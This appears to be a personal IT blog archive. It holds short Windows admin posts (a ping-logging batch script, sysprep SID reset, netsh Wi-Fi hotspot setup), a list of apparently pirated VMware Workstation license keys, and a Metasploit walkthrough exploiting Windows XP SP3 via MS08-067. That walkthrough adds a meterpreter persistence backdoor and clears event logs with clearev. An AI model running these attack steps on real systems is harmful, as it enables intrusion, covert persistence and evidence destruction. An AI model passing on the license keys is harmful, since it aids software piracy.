Showing posts with label Microsoft. Show all posts
Showing posts with label Microsoft. Show all posts

Wednesday, November 16, 2016

Ping Script in Windows

Ping Script in Windows

@ECHO OFF
set IPADDRESS=8.8.8.8
set INTERVAL=5
:PINGINTERVAL

ping %IPADDRESS% -n 1
if errorlevel 1 echo %date% %time% >> c:\Users\vannak.ken\Desktop\failurelog.txt

timeout %INTERVAL%
GOTO PINGINTERVAL


Monday, June 27, 2016

Change SID in Windows Server 2012 R2

Most of the time, When using the virtualization and clone the VM the error related to the SID always met.
As below ERROR, when we joint the domain:




To Change SID start the following Step:

  1. Open RUN and type sysprep

  1. In sysprep folder, run the sysprep.ex

  1. on the System Preparation Tool 3.14 box, make sure you tick on the Generalize box.. and then click OK..

  1. SYSPREP will run the necessary action and your Windows OS will auto restart.

  1. Next, after Windows restarted, continue with Settings configuration.





  1. Last step, dont forget to set your IP Address and you can now change the Computer name and join to domain successfully.

Done, 

Friday, September 18, 2015

Share Internet From Windows 8 to other Devices

Share Internet From Windows 8 to other Devices

1. Run Run as Administrator

netsh wlan show drivers
Check your wireless card support this

Hosted network supported  : Yes

2. create a network named “vannakk” with password “vannakk1123” by this command

netsh wlan set hostednetwork mode=allow ssid=vannakk key=vannakk123

3. After that, you network now has been created. What you have to do next is turn it on by enter this command.
netsh wlan start hostednetwork


4. Check the SSID we created
Open Network and Sharing Center
5. Allow wifi to use that SSID
Property on our existing SSID (Vimul In this case) ==> Sharing ==> Allow Other network ....


Done,

Enjoy


Tuesday, August 19, 2014

Keys

VMware Workstation V.10 Key

HA4FW-8G052-DZ8Q0-U295P-83KLV
5F4PK-42181-9ZXP9-T31Q6-1CVKM
JY468-44L9M-DZ479-3UA72-CAKHR

4F6Z5-80H42-FZ889-L007M-ACJJN
5F6E9-DHL4J-HZ640-KLA70-8C0NN
1Z0G9-67285-FZG78-ZL3Q2-234JG
4C4EK-89KDL-5ZFP9-1LA5P-2A0J0
HY086-4T01N-CZ3U0-CV0QM-13DNU

5U4GA-DQ09H-EZK48-YTAQP-83K79
NU4FQ-DFH40-0ZA01-8A37K-32RKL
HF0DA-FF086-VZ739-AA87H-236M4
HF0A8-FMJ1P-1Z1U1-LK1N2-9AGKJ
5A477-D3284-3ZUF0-2K154-23R0P
MY47Y-2MK1M-6ZQC0-7J05M-8A60D
5V6K2-29243-HZDV0-VVA76-93A2R
NA28T-DR114-AZ9Z8-R1250-93U27
MF4JG-4H3DK-NZ3L0-KHCNM-8AMNP
NA6F3-2HKEM-6ZDF8-Q18N6-33DNN
1Y2FZ-AHJ5H-6ZU09-DKA5M-82RQ7
5U6KQ-6M240-LZMW1-U13N2-AAX7X
HA4FW-8G052-DZ8Q0-U295P-83KLV
5F4PK-42181-9ZXP9-T31Q6-1CVKM
JY468-44L9M-DZ479-3UA72-CAKHR
4F6Z5-80H42-FZ889-L007M-ACJJN
5F6E9-DHL4J-HZ640-KLA70-8C0NN

Saturday, April 20, 2013

Hack Windows XP SP3 using Metaploit


######### H@cK  WinXP SP3 ###############

Scan IP/Computer for Attack
nmap -sP 172.15.5.0/24 
Check the type of the computer info:
nmap -sS -Pn -A 172.16.5.131
[ After searching, I select IP 172.16.5.131[XP-SP3 (nmap -A 172.16.5.131) ] for Attack]
Start Metaploit console in Ubuntu by issue command: sudo msfconsole
-----------------------------------------------------------------------------------------
1. msf > use exploit/windows/smb/ms08_067_netapi
2. msf  exploit(ms08_067_netapi) > set RHOST 172.16.5.131
3. msf  exploit(ms08_067_netapi) > exploit
4. meterpreter > migrate 212   (212 is the PID of  explorer.exe)
5. meterpreter > sysinfo
Computer        : VANNAK-D835B763
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
------------------------------------------------------------------------------------------
6. meterpreter > run persistence -h
7. meterpreter > run persistence -A -X -p 10000 -r 172.16.5.131
8. meterpreter > clearev